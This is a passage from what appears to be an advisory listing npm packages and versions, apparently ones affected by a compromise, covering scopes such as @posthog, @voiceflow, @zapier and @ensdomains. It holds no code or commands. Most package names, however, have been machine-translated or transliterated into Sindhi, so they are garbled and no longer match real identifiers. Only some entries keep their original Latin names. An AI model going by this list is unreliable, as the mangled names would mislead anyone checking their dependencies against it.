| @ensdomains/ens-ٽيسٽ-env | 1.0.2 |
| @ensdomains/ens-تصديق | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-رد عمل | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/hackathon-registrar | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-وڌايل | 0.0.6 |
| @ensdomains/ٺٺولي | 2.1.52 |
| @ensdomains/نيم-ريپر | 1.0.1 |
| @ensdomains/آف چين-حل ڪندڙ-معاهدا | 0.2.2 |
| @ensdomains/op-resolver-contracts | 0.0.2 |
| @ensdomains/react-ens-پتو | 0.0.32 |
| @ensdomains/تجديد | 0.0.13 |
| @ensdomains/تجديد-ويجيٽ | 0.1.10 |
| @ensdomains/ريورس-ريڪارڊز | 1.0.1 |
| @ensdomains/سرور-اينالائيٽڪس | 0.0.2 |
| @اين ايس ڊومينز/سولشا1 | 0.0.4 |
| @ensdomains/سب ڊومين-رجسٽرار | 0.2.4 |
| @ensdomains/ٽيسٽ-يوٽيلز | 1.3.1 |
| @ensdomains/thorin | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/يونيڪوڊ-ڪنفيوزبلز | 0.1.1 |
| @ensdomains/unruggable-گيٽ ويز | 0.0.3 |
| @ensdomains/vite-plugin-i18 ايندڙ-لوڊر | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-چارٽس | 2.0.1، 2.0.2 |
| @everreal/validate-esmoduleinterop-imports | 1.4.4، 1.4.5 |
| @everreal/ويب اينالائيٽڪس | 0.0.1، 0.0.2 |
| @faq-ڪمپوننٽ/ڪور | 0.0.4 |
| @faq-ڪمپوننٽ/رد عمل | 1.0.1 |
| @fishingbooker/برائوزر-سنڪ-پلگ ان | 1.0.5 |
| @fishingbooker/react-loader | 1.0.7 |
| @fishingbooker/react-صفحو | 2.0.6 |
| @فشنگ بُڪر/ري ايڪٽ ريٽي | 2.0.1 |
| @فشنگ بُڪر/ري ايڪٽ-سوائپر | 0.1.5 |
| @hapheus/n8n-nodes-pgp | 1.5.1 |
| @ هور ڊيزائن/ڪور | 0.0.1 |
| @ هور ڊيزائن / رد عمل | 0.2.1 |
| @ifelsedeveloper/پروٽوڪول-معاهدي-svm-idl | 0.1.2 |
| @ifings/ڊيزائن-سسٽم | 4.9.2 |
| @ifings/ميٽاٽرون3 | 0.1.5 |
| @ڪي وي ٽيڪ/ڪلائي | 0.0.7 |
| @kvytech/اجزا | 0.0.2 |
| @kvytech/habbit-e2e-ٽيسٽ | 0.0.2 |
| @kvytech/medusa-plugin-اعلان | 0.0.8 |
| @kvytech/medusa-پلگ ان-انتظام | 0.0.5 |
| @kvytech/medusa-plugin-نيوز ليٽر | 0.0.5 |
| @kvytech/medusa-plugin-پراڊڪٽ-جائزو | 0.0.9 |
| @kvytech/medusa-پلگ ان-پروموشن | 0.0.2 |
| @ڪي وي ٽيڪ/ويب | 0.0.2 |
| @lessondesk/api-ڪلائنٽ | 9.12.3، 9.12.2 |
| @lessondesk/babel-پري سيٽ | 1.0.1 |
| @lessondesk/اليڪٽران-گروپ-api-ڪلائنٽ | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/مٽيريل-آئڪنز | 1.0.3 |
| @lessondesk/react-table-context | 2.0.4 |
| @ليسن ڊيسڪ/اسڪول بس | 5.2.2، 5.2.3 |
| @livecms/لائيو ايڊٽ | 0.0.32 |
| @livecms/nuxt-لائيو-ايڊٽ | 1.9.2 |
| @لوئسل 2/ڪور | 1.0.1 |
| @لوئسل 2/ڪارٽيڪس-جي ايس | 0.1.6 |
| @lpdjs/فائر اسٽور-ريپو-سروس | 1.0.1 |
| @markvivanco/ايپ-ورزن-چيڪر | 1.0.2، 1.0.1 |
| @ntnx/پاسپورٽ-wso2 | 0.0.3 |
| @ntnx/t | 0.0.101 |
| @orbitgtbelgium/ميپ باڪس-gl-ڊرا-ڪٽ-پوليگون-موڊ | 2.0.5 |
| @orbitgtbelgium/ميپ باڪس-gl-ڊرا-اسڪيل-روٽيٽ-موڊ | 1.1.1 |
| @orbitgtbelgium/مدار-اجزا | 1.2.9 |
| @orbitgtbelgium/ٽائيم سلائڊر | 1.0.187 |
| @عثمانڪرم/بي ايم اي ڊي | 1.0.6 |
| @osmanekrem/غلطي سنڀاليندڙ | 1.2.2 |
| @پوسٽ هاگ/ايجنٽ | 1.24.1 |
| @پوسٽ هاگ/اي آءِ | 7.1.2 |
| @پوسٽ هاگ/ڪلائي | 0.5.15 |
| @پوسٽ هاگ/ڪلڪ هائوس | 1.7.1 |
| @پوسٽ هاگ/ڪور | 1.5.6 |
| @پوسٽ هاگ/هيج هاگ موڊ | 0.0.42 |
| @پوسٽ هاگ/آئڪن | 0.36.1 |
| @پوسٽ هاگ/ليمون-يو آءِ | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @پوسٽ هاگ/نڪسٽ | 1.2.9 |
| @پوسٽ هاگ/پِسڪينا | 3.2.1 |
| @پوسٽ هاگ/پلگ ان-ڪنٽريب | 0.0.6 |
| @پوسٽ هاگ/ري ايڪٽ-آر آر ويب پليئر | 1.1.4 |
| @پوسٽ هاگ/آرڊم | 0.0.31 |
| @پوسٽ هاگ/آر آر ويب | 0.0.31 |
| @پوسٽ هاگ/آر آر ويب پليئر | 0.0.31 |
| @پوسٽ هاگ/آر آر ويب-ريڪارڊ | 0.0.31 |
| @پوسٽ هاگ/آر آر ويب-ري پلي | 0.0.19 |
| @پوسٽ هاگ/آر آر ويب-سنيپ شاٽ | 0.0.31 |
| @پوسٽ هاگ/آر آر ويب-يوٽيلز | 0.0.31 |
| @پوسٽ هاگ/سيفاش | 1.1.2 |
| @پوسٽ هاگ/جادوگر | 1.18.1 |
| @پوسٽ مين/ايٿر-آئڪن | 2.23.4، 2.23.3، 2.23.2 |
| @پوسٽمين/سي ايس وي-پارس | 4.0.5، 4.0.3، 4.0.4 |
| @پوسٽ مين/نوڊ-ڪيٽار | 7.9.6، 7.9.4، 7.9.5 |
| @پوسٽ مين/سرنگ-ايجنٽ | 0.6.7، 0.6.6، 0.6.5 |
| @pradhumngautham/عام ايپ | 1.0.2 |
| @pruthvi21/استعمال-ڊيبائونس | 1.0.3 |
| @quick-start-soft/quick-document-translator | 1.4.2511142126 |
| @quick-start-soft/quick-git-clean-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-compose | 1.4.2506300029 |
| @quick-start-soft/quick-markdown-تصوير | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-print | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-مترجم | 1.4.2509202331 |
| @quick-start-soft/quick-remove-image-background | 1.4.2511142126 |
| @جلدي-شروع-نرم/جلدي-ڪم-ريفائن | 1.4.2511142126 |
| @relyt/ڪلاؤڊ-ڪنٽيڪسٽ-ڪور | 0.1.1 |
| @seezo/sdr-mcp-سرور | 0.0.5 |
| @سيونگ-جو/اڳيون | 0.0.2 |
| @seung-ju/openapi-جنريٽر | 0.0.4 |
| @سيونگ-جو/رد عمل-hooks | 0.0.2 |
| @seung-ju/react-native-action-sheet | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/react-native-date-time-picker | 2.0.4 |
| @strapbuild/react-native-perspective-image-cropper | 0.4.15 |
| @strapbuild/react-native-perspective-image-cropper-2 | 0.4.7 |
| @strapbuild/react-native-perspective-image-cropper-poojan31 | 0.4.6 |
| @suraj_h/ميڊيم-عام | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @tiaanduplessis/json | 2.0.3، 2.0.2 |
| @tiaanduplessis/react-progressbar | 1.0.2، 1.0.1 |
| @ٽري فاڪس/سليڪساپ-جي ايس | 0.1.6 |
| @ٽريگو/ايٽرڪس | 7.0.1 |
| @ٽريگو/ايٽرڪس-ايلاسٽڪ سرچ | 2.0.1 |
| @ٽريگو/ايٽرڪس-پوسٽ گريس | 1.0.3 |
| @ٽريگو/ايٽرڪس-پبسب | 4.0.3 |
| @ٽريگو/ايٽرڪس-صابڻ | 1.0.2 |
| @ٽريگو/ايٽرڪس-سويگر | 3.0.1 |
| @ٽريگو/بول-اظهار | 4.1.3 |
| @ٽريگو/ايس لنٽ-ڪنفيگ-ٽريگو | 3.3.1 |
| @ٽريگو/ايف ايس ايم | 3.4.2 |
| @ٽريگو/هپي-آٿ-سائن ٿيل لنڪ | 1.3.1 |
| @ٽريگو/پاٿ فائنڊر-يو آءِ-سي ايس ايس | 0.1.1 |
| @ٽريگو/ٽريگو-هيپيجز | 5.0.1 |
| @trpc-ريٽ-ليميٽر/ڪلائوڊ فليئر | 0.1.4 |
| @trpc-ريٽ-ليميٽر/هونو | 0.1.4 |
| @varsityvibe/api-ڪلائنٽ | 1.3.36، 1.3.37 |
| @varsityvibe/utils | 5.0.6 |
| @varsityvibe/تصديق-اسڪيما | 0.6.7، 0.6.8 |
| @vishadtyagi/مڪمل-سال-ڪلينڊر | 0.1.11 |
| @وائس فلو/اليڪسا-قسم | 2.15.60، 2.15.61 |
| @وائس فلو/اينٿروپڪ | 0.4.4، 0.4.5 |
| @وائس فلو/api-sdk | 3.28.58، 3.28.59 |
| @وائس فلو/بئڪ اينڊ-يوٽيلز | 5.0.2، 5.0.1 |
| @وائس فلو/بيس ٽائپس | 2.136.3، 2.136.2 |
| @وائس فلو/باڊي-پارسر | 1.21.2، 1.21.3 |
| @وائس فلو/چيٽ ٽائپس | 2.14.59، 2.14.58 |
| @وائس فلو/سرڪلسي-ڪنفيگ-ايس ڊي ڪي-اورب-امپورٽ | 0.2.1، 0.2.2 |
| @وائس فلو/commitلِنٽ-ڪنفيگ | 2.6.2، 2.6.1 |
| @وائس فلو/عام | 8.9.1، 8.9.2 |
| @وائس فلو/ڊفالٽ-پرامپٽ-ريپرز | 1.7.4، 1.7.3 |
| @وائس فلو/انحصاري-ڪروزر-ڪنفيگ | 1.8.12، 1.8.11 |
| @وائس فلو/ڊي ٽي او ايس-انٽريڪٽ | 1.40.2، 1.40.1 |
| @وائس فلو/انڪرپشن | 0.3.3، 0.3.2 |
| @وائس فلو/ايس لنٽ-ڪنفيگ | 7.16.4، 7.16.5 |
| @وائس فلو/ايس لنٽ-پلگ ان | 1.6.2، 1.6.1 |
| @وائس فلو/استثنا | 1.10.2، 1.10.1 |
| @وائس فلو/آڻڻ | 1.11.1، 1.11.2 |
| @وائس فلو/جنرل-ٽائپس | 3.2.23، 3.2.22 |
| @وائس فلو/گٽ-برانچ-چيڪ | 1.4.4، 1.4.3 |
| @وائس فلو/گوگل-ڊي ايف اي ايس-ٽائپس | 2.17.12، 2.17.13 |
| @وائس فلو/گوگل ٽائپس | 2.21.12، 2.21.13 |
| @وائس فلو/هسڪي-ڪنفيگ | 1.3.1، 1.3.2 |
| @وائس فلو/لاگر | 2.4.3، 2.4.2 |
| @وائس فلو/ميٽرڪس | 1.5.2، 1.5.1 |
| @وائس فلو/قدرتي-ٻولي-ڪمانڊر | 0.5.2، 0.5.3 |
| @وائس فلو/نيسٽ جي ايس-ڪمن | 2.75.2، 2.75.3 |
| @وائس فلو/نيسٽ جي ايس-مونگو ڊي بي | 1.3.1، 1.3.2 |
| @وائس فلو/نيسٽ جي ايس-ريٽ-حد | 1.3.3، 1.3.2 |
| @وائس فلو/نيسٽ جي ايس-ريڊس | 1.3.1، 1.3.2 |
| @وائس فلو/نيسٽ جي ايس-ٽائم آئوٽ | 1.3.1، 1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1، 1.1.2 |
| @وائس فلو/اوپنائي | 3.2.2، 3.2.3 |
| @وائس فلو/پينو | 6.11.4، 6.11.3 |
| @وائس فلو/پينو-پريٽي | 4.4.2، 4.4.1 |
| @وائس فلو/پريٽيئر-ڪنفيگ | 1.10.2، 1.10.1 |
| @وائس فلو/ري ايڪٽ چيٽ | 1.65.4، 1.65.3 |
| @وائس فلو/رن ٽائم | 1.29.1، 1.29.2 |
| @وائس فلو/رن ٽائم-ڪلائنٽ-جي ايس | 1.17.3، 1.17.2 |
| @وائس فلو/ايس ڊي ڪي-رن ٽائم | 1.43.2، 1.43.1 |
| @وائس فلو/راز فراهم ڪندڙ | 1.9.3، 1.9.2 |
| @وائس فلو/سيمينٽڪ-رليز-ڪنفيگ | 1.4.2، 1.4.1 |
| @وائس فلو/سرور ليس-پلگ ان-ٽائپ اسڪرپٽ | 2.1.7، 2.1.8 |
| @وائس فلو/سليٽ-سيريلائيزر | 1.7.4، 1.7.3 |
| @وائس فلو/ٽانڪا-رد عمل | 2.3.3، 2.3.2 |
| @وائس فلو/اسٽوري بڪ-ڪنفيگ | 1.2.2، 1.2.3 |
| @وائس فلو/اسٽائل لِنٽ-ڪنفيگ | 1.1.1، 1.1.2 |
| @وائس فلو/ٽيسٽ-ڪمن | 2.1.1، 2.1.2 |
| @وائس فلو/ٽسڪنفگ | 1.12.2، 1.12.1 |
| @وائس فلو/tsconfig-پاٿس | 1.1.5، 1.1.4 |
| @وائس فلو/يوٽيلز-ڊيزائنر | 1.74.19، 1.74.20 |
| @وائس فلو/ويرور | 1.1.5، 1.1.4 |
| @وائس فلو/وائيٽ-ڪنفيگ | 2.6.2، 2.6.3 |
| @وائس فلو/ويٽيسٽ-ڪنفيگ | 1.10.3، 1.10.2 |
| @وائس فلو/وائس ٽائپس | 2.10.59، 2.10.58 |
| @وائس فلو/وائس فلو-قسم | 3.32.45، 3.32.46 |
| @وائس فلو/ويجيٽ | 1.7.18، 1.7.19 |
| @زپيئر/اي-ايڪشنز | 0.1.20، 0.1.19، 0.1.18 |
| @زپيئر/بيبل-پري سيٽ-زپيئر | 6.4.2، 6.4.1، 6.4.3 |
| @ زپيئر/برائوزر لسٽ-ڪنفيگ- زپيئر | 1.0.4، 1.0.3، 1.0.5 |
| @زپيئر/سيڪريٽ-اسڪربر | 1.1.5، 1.1.4، 1.1.3 |
| اي آءِ-ڪرول-شيلڊ | 1.0.7 |
| آرڪ-ڪلائي-ايف سي | 1.0.1 |
| غير مطابقت پذير- پيش منظر | 1.0.2، 1.0.1 |
| ايٽرڪس | 1.0.1 |
| آٽوميشن_ماڊل | 1.0.491 |
| ايڪسيوس-بلڊر | 1.2.1 |
| ايڪسيوس-منسوخ ڪرڻ وارو | 1.0.2، 1.0.1 |
| محوري وقت وارو | 1.0.2، 1.0.1 |
| بيئر بونز-سي ايس ايس | 1.1.4، 1.1.3 |
| بينموسٽين-فريم-پرنٽ | 1.0.1 |
| بهترينجي پي آءِ اوڪنٽرولر | 1.0.10 |
| ٻہ طرفي-اڊاپٽر | 1.2.2، 1.2.4، 1.2.5، 1.2.3 |
| بلينڪيو-ايگزيڪيوشن-ڪلائي | 1.0.41 |
| بلاب کان بيس 64 تائين | 1.0.3 |
| بن-پلگ ان-httpفائل | 0.1.1 |
| بائيٽ ڪوڊ-چيڪر-ڪلائي | 1.0.11، 1.0.8، 1.0.9، 1.0.10 |
| بائيٽس کان ايڪس تائين | 1.0.1 |
| قرض جي سود جي حساب سان | 1.0.4 |
| ڪيپيسيٽر-پلگ ان-ايپ ٽريڪنگ | 0.0.21 |
| ڪيپيسيٽر-پلگ ان-خريد | 0.1.1 |
| ڪيپيسيٽر-پلگ ان-اسڪيگس سائن ان ويد گوگل | 0.0.5 |
| ڪيپيسيٽر-خريد-تاريخ | 0.0.10 |
| ڪيپيسيٽر-وائس-ريڪارڊر-ويو | 6.0.3 |
| ڪروم ايڪسٽينشن ڊائون لوڊ | 0.0.3، 0.0.4 |
| ڪلاڊ-ٽوڪن-اپڊيٽر | 1.0.3 |
| ڪوئن مارڪيٽ ڪيپ-api | 3.1.3، 3.1.2 |
| رنگ-ريجيڪس | 2.0.1 |
| ڪمانڊ-آئريل | 0.5.4 |
| مقابلو-عنوان | 1.1.1، 1.1.2 |
| ڪمپوزٽ ريڊيسر | 1.0.4، 1.0.3، 1.0.2، 1.0.5 |
| ڳڻپ ڪريو | 1.0.2، 1.0.1 |
| سي پي يو هدايتون | 0.0.14 |
| ڊائريڪٽر ايپ ٺاهيو | 0.1.1 |
| گلي ايپ ٺاهيو | 0.2.3، 0.2.2 |
| هارڊ هٽ 3 ايپ ٺاهيو | 1.1.4، 1.1.3، 1.1.1، 1.1.2 |
| ڪرپٽو-ايڊڊر-ڪوڊيڪ | 0.1.9 |
| سي ايس ايس-ڊيڊوپ | 0.1.2 |
| dashboardخالي حالت | 1.0.3 |
| ڊيزائن اسٽوڊيويوڪس | 1.0.1 |
| ڊيوسٽارٽ-ڪلائي | 1.0.6 |
| ڊائلاگ فلو-ايس | 1.1.4، 1.1.3، 1.1.1، 1.1.2 |
| ڊسڪارڊ-بوٽ-سرور | 0.1.2 |
| دستاويزي-پلگ ان-وينلا-اڪسٽريڪٽ | 1.0.3 |
| نه وڃ | 1.1.2 |
| ڊاٽ نيٽ ٽيمپليٽ | 0.0.3، 0.0.4 |
| ڊراپ-ايونٽس-آن-پراپرٽي-پلگ ان | 0.0.2 |
| اي ميل پهچائڻ جي صلاحيت ٽيسٽ ڪندڙ | 1.1.1 |
| برانچ جو نالو لاڳو ڪريو | 1.1.3 |
| ايس بلڊ-پلگ ان-بروٽلي | 0.2.1 |
| ايس بلڊ-پلگ ان-ايٽا | 0.1.1 |
| esbuild-plugin-httpfile | 0.4.1 |
| ايسلنٽ-ڪنفيگ-نٽ پڪي | 4.0.1 |
| ايسلنٽ-ڪنفيگ-ٽريگو | 22.0.2 |
| ايسلنٽ-ڪنفيگ-زيالٽ-بيس | 1.0.4 |
| ايٿيريم-اينز | 0.8.1 |
| اي وي ايم-چيڪ ڪوڊ-ڪلائي | 1.0.15، 1.0.12، 1.0.13، 1.0.14 |
| صحيح ٽِڪر | 0.3.5 |
| ايڪسپو-آڊيو-سيشن | 0.2.1 |
| ايڪسپريس | 1.1.3 |
| ٿلهي آڱرين وارو | 1.0.2، 1.0.1 |
| فيچر فلپ | 1.0.2، 1.0.1 |
| فائر اسٽور سرچ انجن | 1.2.3 |
| فٽ ٽيڪسٽ | 1.0.3، 1.0.2 |
| فليپ اسٽيڪس | 1.0.2، 1.0.1 |
| هموار ڪرڻ- اڻ چٽو ڪرڻ | 1.0.2، 1.0.1 |
| فارمڪ-غلطي-فوڪس | 2.0.1 |
| فارمڪ اسٽور | 1.0.1 |
| فزي فائنڊر | 1.0.5، 1.0.6 |
| گيٽ-اي وي ايم-چيڪ-ڪوڊ2 | 2.0.3، 2.0.4، 2.0.5، 2.0.6 |
| گيٽ-اي وي ايم-ٽولز-ٽيسٽ | 1.0.7، 1.0.8، 1.0.5، 1.0.6 |
| گيٽسبي-پلگ ان-سي اينيم | 1.0.2، 1.0.1 |
| جنريٽر-ميٽيور-اسٽاڪ | 0.1.6 |
| جنريٽر-اين جي-آئٽوبوز | 0.0.15 |
| انهن کي دليل ڏيو | 1.3.3 |
| گيٽ هب-ايڪشن-فار-جنريٽر | 2.1.28، 2.1.27 |
| گِٽساف | 1.0.5 |
| گو-ٽيمپليٽ | 0.1.8، 0.1.9 |
| گلپ-انجيڪشن-اين وي ايس | 1.2.2، 1.2.1 |
| هاف-ايڪسيرا-ايپي-ڪلائنٽ | 0.0.1، 0.0.2 |
| اميد-نقشو باڪس ڊرا | 0.1.1 |
| اميد جو نقشو | 1.0.3 |
| هور ڊيزائن پروٽوٽائپ | 0.0.5 |
| httpness | 1.0.3، 1.0.2 |
| هائپر-فل فيڪنگ | 1.0.3 |
| هائپرٽرم-هپسٽر | 1.0.7 |
| آئي ڊي ايس-سي ايس ايس | 1.5.1 |
| سڃاڻپ-enterprise-ايم سي پي سرور | 0.0.2 |
| سڃاڻپ-enterprise-ng | 20.1.6 |
| سڃاڻپ-enterprise-ٽائپنگ | 20.1.6 |
| تصوير-کان-يوري | 1.0.2، 1.0.1 |
| بي خوابي-پلگ ان-بي ترتيب-پڪ | 1.0.4 |
| انو | 0.2.2 |
| آئرن شيلڊ مني ايپ | 0.0.2 |
| آئيٽو بٽڻ | 8.0.3 |
| اِٽوبُز-ڪوئيل | 0.0.1 |
| اِٽوبُز-اينگولر-آٿ | 8.0.11 |
| اِٽوبُز-اينگولر-بٽن | 8.0.11 |
| جيڪب زوما | 1.0.2، 1.0.1 |
| jaetut-varit-ٽيسٽ | 1.0.2 |
| جان برائوزر | 0.13.1 |
| jquery-بائنڊنگس | 1.1.3، 1.1.2 |
| جيسن سرج | 1.0.7 |
| صرف مزيدار | 1.7.1 |
| ڪِل پورٽ | 2.0.3، 2.0.2 |
| ڪوريا-انتظامي-علائقو-جيو-جيسن-استعمال | 1.0.7 |
| ڪوامي | 1.5.9، 1.5.10 |
| ٻولي ڪوڊ | 1.0.2، 1.0.1 |
| لائسنس-او-ميٽڪ | 1.2.2، 1.2.1 |
| لِنٽ-اسٽيجڊ-تصوير-من | 1.3.1، 1.3.2 |
| لائيٽ-سرپر-ايم سي پي-سرور | 0.2.2 |
| لونو-اي پي آءِ | 1.2.3 |
| مينوئل-بلنگ-سسٽم-مني ايپ-api | 1.3.1 |
| ميڊوسا-پلگ ان-اعلان | 0.0.3 |
| ميڊوسا-پلگ ان-لاگ | 0.0.17 |
| ميڊوسا-پلگ ان-مومو | 0.0.68 |
| ميڊوسا-پلگ ان-پراڊڪٽ-جائزو-ڪي وي آءِ | 0.0.4 |
| ميڊوسا-پلگ ان-زالوپي | 0.0.40 |
| mod10-چيڪ-ڊجيٽ | 1.0.1 |
| مون-پيڪيج-رد عمل-ٽائپ اسڪرپٽ | 1.0.1 |
| منهنجي سعيد-لب | 0.1.1 |
| n8n-نوڊس-tmdb | 0.5.1 |
| n8n-نوڊز-ورسل-اي-ايس ڊي ڪي | 0.1.7 |
| n8n-نوڊس-وائرل-ايپ | 0.2.5 |
| نانو ري سيٽ | 7.0.2، 7.0.1 |
| ايندڙ-سرڪيولر-انحصاري | 1.0.3، 1.0.2 |
| ايندڙ-سادو-گوگل-تجزياتي | 1.1.1، 1.1.2 |
| ايندڙ-اسٽائل-پيش رفت | 1.0.4، 1.0.5 |
| اين جي ايڪس-مفيد-سوائپر-پروسينجٽ | 9.0.2 |
| اين جي ايڪس-وُواپي | 12.0.1 |
| نارمل اسٽور | 1.3.1، 1.3.4، 1.3.3، 1.3.2 |
| اعتراض کان سي ايس ايس | 1.0.3، 1.0.2 |
| اوڪٽا-ري ايڪٽ-روٽر-6 | 5.0.1 |
| اوپن 2 انٽرنيٽ | 0.1.1 |
| مدار-باڪس آئڪن | 2.1.3 |
| مدار-نيبولا-ڊرا-اوزار | 1.0.10 |
| مدار-نيبولا-ايڊيٽر | 1.0.2 |
| مدار صابڻ | 0.43.13 |
| آرڪيسٽرڪس | 12.1.2 |
| پيڪيج ٽيسٽر | 1.0.1 |
| پارسل-پلگ ان-اثاثو-ڪاپي ڪندڙ | 1.1.3، 1.1.2 |
| پي ڊي ايف-تشريح | 0.0.2 |
| پڪلائيٽ | 1.0.1 |
| پڪو-يو آءِ ڊي | 1.0.4، 1.0.3 |
| پي ڪي جي-ريڊمي | 1.1.1 |
| پوپر-ري ايڪٽ-ايس ڊي ڪي | 0.1.2 |
| پوسٽ هاگ-ڊاڪوسورس | 2.0.6 |
| پوسٽ هاگ-جي ايس | 1.297.3 |
| پوسٽ هاگ نوڊ | 4.18.1، 5.13.3، 5.11.3 |
| پوسٽ هاگ-پلگ ان-هيلو-ورلڊ | 1.0.1 |
| پوسٽ هاگ-ري ايڪٽ-نيٽو | 4.11.1، 4.12.5 |
| پوسٽ هاگ-ري ايڪٽ-نيٽو-سيشن-ري پلي | 1.2.2 |
| پرائم-ون-ٽيبل | 0.0.19 |
| پرامپٽ-انجينئرنگ | 1.0.50 |
| گھٽ ضرورت وارو | 1.0.3 |
| را-آٿ-فائر بيس | 1.0.3 |
| را-ڊيٽا-فائر بيس | 1.0.8، 1.0.7 |
| رد عمل-ڪمپوننٽ-ٽيگرز | 0.1.9 |
| ڊيٽا کي برآمد ڪرڻ لاءِ رد عمل ڏيو | 1.0.1 |
| رد عمل عنصر پرامپٽ انسپيڪٽر | 0.1.18 |
| رد عمل پسند ڪندڙ | 1.0.2 |
| رد عمل-هڪ-فارم-پريسٽ | 3.0.2، 3.0.1 |
| رد عمل جام آئڪن | 1.0.2، 1.0.1 |
| رد عمل-ڪي-ڪنڊو-حوالو | 1.0.8، 1.0.9 |
| ري ايڪٽ لائبريري سيٽ اپ | 0.0.6 |
| رد عمل-لينئر-لوڊر | 1.0.2 |
| رد عمل-مائڪرو موڊل.جي ايس | 1.0.2، 1.0.1 |
| رد عمل-مقامي-ڊيٽ پيڪر-ماڊل | 1.3.1، 1.3.2 |
| رد عمل-مقامي-اي ميل | 2.1.1، 2.1.2 |
| رد عمل-مقامي-آڻڻ | 2.0.1، 2.0.2 |
| رد عمل-مقامي-حاصل-پڪسل-طول و عرض | 1.0.2، 1.0.1 |
| گوگل نقشن جي هدايتن تي رد عمل ڏيو | 2.1.2 |
| رد عمل-مقامي-جام-آئڪن | 1.0.2، 1.0.1 |
| رد عمل-مقامي-لاگ-سطح | 1.2.2، 1.2.1 |
| رد عمل-مقامي-معمولي-چيڪ باڪس | 3.3.1 |
| رد عمل-مقامي-معمولي-ذخيرو | 2.1.1 |
| مقامي فون ڪال تي رد عمل ڏيو | 1.2.2، 1.2.1 |
| رد عمل-اصلي-ٻيهر-حاصل ڪرڻ- | 2.0.1، 2.0.2 |
| رد عمل-مقامي-استعمال-ماڊل | 1.0.3 |
| ري ايڪٽ-نيٽو-ويو-فائنڊر | 1.2.2، 1.2.1 |
| ري ايڪٽ-نيٽو-ويب ساکٽ | 1.0.4، 1.0.3 |
| رد عمل-مقامي-ورڪليٽ-فنڪشن | 3.3.3 |
| رد عمل-qr-تصوير | 1.1.1 |
| ريڊف | 1.0.5 |
| ريڊف-ويور | 0.0.7 |
| ريڊڪس-روٽر-ڪٽ | 1.2.2، 1.2.4، 1.2.3 |
| رول اپ-پلگ ان-httpفائل | 0.2.1 |
| ڪمپني رجسٽريشن نمبر ريجيڪس | 1.0.2، 1.0.1 |
| سا-آئڊ-جن | 1.0.4، 1.0.5 |
| ساڳيو | 1.0.3 |
| scgs-ڪيپيسيٽر-سبسڪرائب ڪريو | 1.0.11 |
| scgsffcreator - [اسڪگ ايس ايف ڪريٽر] | 1.0.5 |
| سيٽ-نيسٽڊ-پروپ | 2.0.1، 2.0.2 |
| شيلف-jwt-سيشنز | 0.1.2 |
| شيل-ايگزيڪ | 1.1.4، 1.1.3 |
| شينهان-حد-اسڪريپ | 1.0.3 |
| مهارتن جو استعمال | 0.1.2، 0.1.1 |
| سولومن-ايپي-ڪهاڻيون | 1.0.2 |
| سولومون-v3-ڪهاڻيون | 1.15.6 |
| سولومون-v3-ui-ريپر | 1.6.1 |
| فاصلي جي لحاظ کان ترتيب ڏيو | 2.0.1 |
| ڏکڻ آفريقي سڃاڻپ جي ڄاڻ | 1.0.2 |
| اسٽيٽ-ايف اين ايس | 1.0.1 |
| اسٽور | 2.3.2 |
| وڏو-commit | 1.0.1 |
| svelte-autocomplete-select | 1.1.1 |
| مٺو-ٽوسٽي | 1.1.3، 1.1.2 |
| ٽين اسٽيڪ-شڊڪن-ٽيبل | 1.1.5 |
| ٽي سي ايس پي | 2.0.2 |
| ٽي سي ايس پي-ڊرا-ٽيسٽ | 1.0.5 |
| ٽي سي ايس پي-ٽيسٽ-وي ڊي | 2.4.4 |
| ٽيمپليٽ-لِب | 1.1.4، 1.1.3 |
| ٽيمپليٽ-مائڪرو-سروس | 1.0.3، 1.0.2 |
| مضبوط-حاصل ڪرڻ | 2.3.3، 2.3.2 |
| ٽيسٽ-فائونڊري-ايپ | 1.0.4، 1.0.3، 1.0.2، 1.0.1 |
| ٽيسٽ-هارڊ هيٽ-ايپ | 1.0.4، 1.0.3، 1.0.2، 1.0.1 |
| ٽيسٽ 23112222-اي پي آءِ | 1.0.1 |
| تيان | 1.0.2 |
| ٽوڪن.جي ايس-فورڪ | 0.7.32 |
| ٽرائيگو-ري ايڪٽ-ايپ | 4.1.2 |
| ٽائيپ فينس | 1.2.2، 1.2.3 |
| ٽائپفارم-مرڪب | 0.2.27 |
| غير محفوظ ٽائيپ ٿيل | 1.0.4، 1.0.3 |
| اپلينڊوئي | 0.5.4 |
| پلي اسٽور تي اپلوڊ ڪريو | 1.0.2، 1.0.1 |
| يو آر ايل-انڪوڊ-ڊيڪوڊ | 1.0.2، 1.0.1 |
| استعمال-غير محفوظ ٿيل-تبديليون | 1.0.9 |
| صحيح-ڏکڻ-آفريقي-شناخت | 1.0.3 |
| وي ايف-او ايس ايس-ٽيمپليٽ | 1.0.4، 1.0.3، 1.0.2، 1.0.1 |
| وائيٽ-پلگ ان-httpفائل | 0.2.1 |
| وييو-برائوزر اپڊيٽ-نڪسٽ | 1.0.5 |
| ويب-اسڪريپر-ايم سي پي | 1.1.4 |
| ويب-قسم-htmx | 0.1.1 |
| ويب-قسم-روشن | 0.1.1 |
| ويب پيڪ-لوڊر-httpفائل | 0.2.1 |
| صحت جي ماهر گيلري | 5.1.1 |
| وينڪ | 1.0.9، 1.0.10 |
| زپيئر-اسنڪ-اسٽوريج | 1.0.3، 1.0.2، 1.0.1 |
| زپيئر-پليٽ فارم-ڪلائي | 18.0.4، 18.0.3، 18.0.2 |
| زپيئر-پليٽ فارم-ڪور | 18.0.4، 18.0.3، 18.0.2 |
| زپيئر-پليٽ فارم-اسڪيما | 18.0.4، 18.0.3، 18.0.2 |
| زپيئر-اسڪرپٽ | 7.8.3، 7.8.4 |
| زوپر-ڪلائي | 1.0.1 |
